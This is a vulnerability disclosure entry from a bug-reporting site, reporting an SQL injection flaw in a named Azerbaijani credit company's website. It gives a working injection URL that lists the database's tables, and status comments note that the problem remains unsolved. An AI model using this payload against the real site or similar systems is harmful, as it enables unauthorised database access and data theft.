1. BUGemot
  2. www.xazarkredit.az

www.xazarkredit.az

xazarkredit.az 16 May 2016, 19:47

Detailed information

Veb saytda SQL Injection zəifliyi mövcuddur:
http://xazarkredit.az/kategoriurun.php?set=-5%27+union+select+1,group_concat%28table_name%29,3,4,5,6+from+information_schema.tables+where+table_schema=database%28%29--+-%27

Comments

  • 21 October 2016, 12:40
    Vulnerability status
    Problem not solved

  • 24 May 2016, 16:52
    Vulnerability status
    Sended e-mail to source about vulnerability

  • 17 May 2016, 17:15
    Added point to Vulnerability
    Moderator gave 7 point from 10 to vulnerability

  • 17 May 2016, 17:12
    Vulnerability status
    Confirmed by Moderator

  • 16 May 2016, 19:47
    Vulnerability added
    Vulnerability added to BUGemot